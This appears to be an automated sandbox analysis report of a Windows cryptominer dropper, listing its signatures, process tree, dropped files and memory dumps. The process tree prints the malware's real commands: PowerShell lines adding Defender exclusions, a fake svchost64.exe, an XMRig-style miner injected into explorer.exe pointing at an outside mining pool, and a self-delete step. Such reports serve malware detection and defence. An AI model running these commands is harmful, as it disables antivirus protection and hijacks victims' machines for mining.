Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19/03/2024, 06:18

General

  • Target
    d568b08d31d1540b5675d938b23041ca.exe
  • Size 34KB
  • Sample240319-g2nejsch51
  • SHA256 17eb762809a6bf0d9ae452c2fb4119368e5ba7610f62cbcda82eab88ff1f3d84
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 10 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of WriteProcessMemory 33 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d568b08d31d1540b5675d938b23041ca.exe
    "C:\Users\Admin\AppData\Local\Temp\d568b08d31d1540b5675d938b23041ca.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2332
    • C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:396
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2224
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:704
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4844
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows'
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2656
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\svchost64.exe "C:\Users\Admin\AppData\Local\Temp\d568b08d31d1540b5675d938b23041ca.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4828
      • C:\Users\Admin\AppData\Local\Temp\svchost64.exe
        C:\Users\Admin\AppData\Local\Temp\svchost64.exe "C:\Users\Admin\AppData\Local\Temp\d568b08d31d1540b5675d938b23041ca.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1168
        • C:\Windows\explorer.exe
          C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=mine.bmpool.org:6004 --user=6100894 --pass=dima --cpu-max-threads-hint=30 --cinit-idle-wait=5 --cinit-idle-cpu=50 --cinit-stealth
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4864
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\svchost64.exe"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:996
          • C:\Windows\system32\choice.exe
            choice /C Y /N /D Y /T 3
            5⤵
              PID:1936

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 2KB
          • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 944B
          • SHA256 7e6faa0a80301b4dae2c6d499e68ad269378909cdd2dca17e972ff80d296b40f
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 944B
          • SHA256 c88e4bbb64f7fa31429ebe82c1cf07785c44486f37576f783a26ac856e02a4eb
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 944B
          • SHA256 ad07460e061642c0dd4e7dfa7b821aacce873e290389e72f708e9f3504f9d135
          • MD5 SHA1 SHA512

          __PSScriptPolicyTest_4sl0h3mx.ydu.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4sl0h3mx.ydu.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          svchost64.exe

          • Path C:\Users\Admin\AppData\Local\Temp\svchost64.exe
          • Size 28KB
          • SHA256 e448d0a4e1f71b8c7327376a6e99913509b614fa7a78f2b5b7ab6b6beb3ab659
          • MD5 SHA1 SHA512 SSDEEP

          memory/704-25-0x00007FF934EA0000-0x00007FF935961000-memory.dmp

          memory/704-50-0x00007FF934EA0000-0x00007FF935961000-memory.dmp

          memory/704-48-0x000001CB68B50000-0x000001CB68B60000-memory.dmp

          memory/704-46-0x000001CB68B50000-0x000001CB68B60000-memory.dmp

          memory/704-27-0x000001CB68B50000-0x000001CB68B60000-memory.dmp

          memory/704-26-0x000001CB68B50000-0x000001CB68B60000-memory.dmp

          memory/1168-83-0x000000001BBE0000-0x000000001BBF0000-memory.dmp

          memory/1168-43-0x000000001BBE0000-0x000000001BBF0000-memory.dmp

          memory/1168-81-0x00007FF934EA0000-0x00007FF935961000-memory.dmp

          memory/1168-97-0x00007FF934EA0000-0x00007FF935961000-memory.dmp

          memory/1168-45-0x0000000000F40000-0x0000000000F4A000-memory.dmp

          memory/1168-40-0x0000000000130000-0x000000000013C000-memory.dmp

          memory/1168-42-0x00007FF934EA0000-0x00007FF935961000-memory.dmp

          memory/1168-41-0x0000000000F00000-0x0000000000F12000-memory.dmp

          memory/2224-6-0x0000011A7A560000-0x0000011A7A582000-memory.dmp

          memory/2224-5-0x0000011A7A550000-0x0000011A7A560000-memory.dmp

          memory/2224-16-0x0000011A7A550000-0x0000011A7A560000-memory.dmp

          memory/2224-4-0x0000011A7A550000-0x0000011A7A560000-memory.dmp

          memory/2224-3-0x00007FF934EA0000-0x00007FF935961000-memory.dmp

          memory/2224-18-0x0000011A7A550000-0x0000011A7A560000-memory.dmp

          memory/2224-22-0x00007FF934EA0000-0x00007FF935961000-memory.dmp

          memory/2332-24-0x00007FF934EA0000-0x00007FF935961000-memory.dmp

          memory/2332-0-0x00000000003A0000-0x00000000003AE000-memory.dmp

          memory/2332-2-0x00000000012A0000-0x00000000012B0000-memory.dmp

          memory/2332-1-0x00007FF934EA0000-0x00007FF935961000-memory.dmp

          memory/2656-68-0x00007FF934EA0000-0x00007FF935961000-memory.dmp

          memory/2656-69-0x00000283A3F20000-0x00000283A3F30000-memory.dmp

          memory/2656-75-0x00000283A3F20000-0x00000283A3F30000-memory.dmp

          memory/2656-82-0x00000283A3F20000-0x00000283A3F30000-memory.dmp

          memory/2656-85-0x00007FF934EA0000-0x00007FF935961000-memory.dmp

          memory/4844-67-0x00007FF934EA0000-0x00007FF935961000-memory.dmp

          memory/4844-65-0x0000021AC3C20000-0x0000021AC3C30000-memory.dmp

          memory/4844-64-0x0000021AC3C20000-0x0000021AC3C30000-memory.dmp

          memory/4844-58-0x0000021AC3C20000-0x0000021AC3C30000-memory.dmp

          memory/4844-51-0x00007FF934EA0000-0x00007FF935961000-memory.dmp

          memory/4844-52-0x0000021AC3C20000-0x0000021AC3C30000-memory.dmp

          memory/4864-87-0x0000000140000000-0x0000000140786000-memory.dmp

          memory/4864-88-0x0000000140000000-0x0000000140786000-memory.dmp

          memory/4864-89-0x0000000002E30000-0x0000000002E50000-memory.dmp

          memory/4864-90-0x0000000140000000-0x0000000140786000-memory.dmp

          memory/4864-91-0x0000000140000000-0x0000000140786000-memory.dmp

          memory/4864-92-0x0000000140000000-0x0000000140786000-memory.dmp

          memory/4864-93-0x0000000140000000-0x0000000140786000-memory.dmp

          memory/4864-94-0x0000000140000000-0x0000000140786000-memory.dmp

          memory/4864-96-0x0000000140000000-0x0000000140786000-memory.dmp

          memory/4864-86-0x0000000140000000-0x0000000140786000-memory.dmp

          memory/4864-98-0x0000000140000000-0x0000000140786000-memory.dmp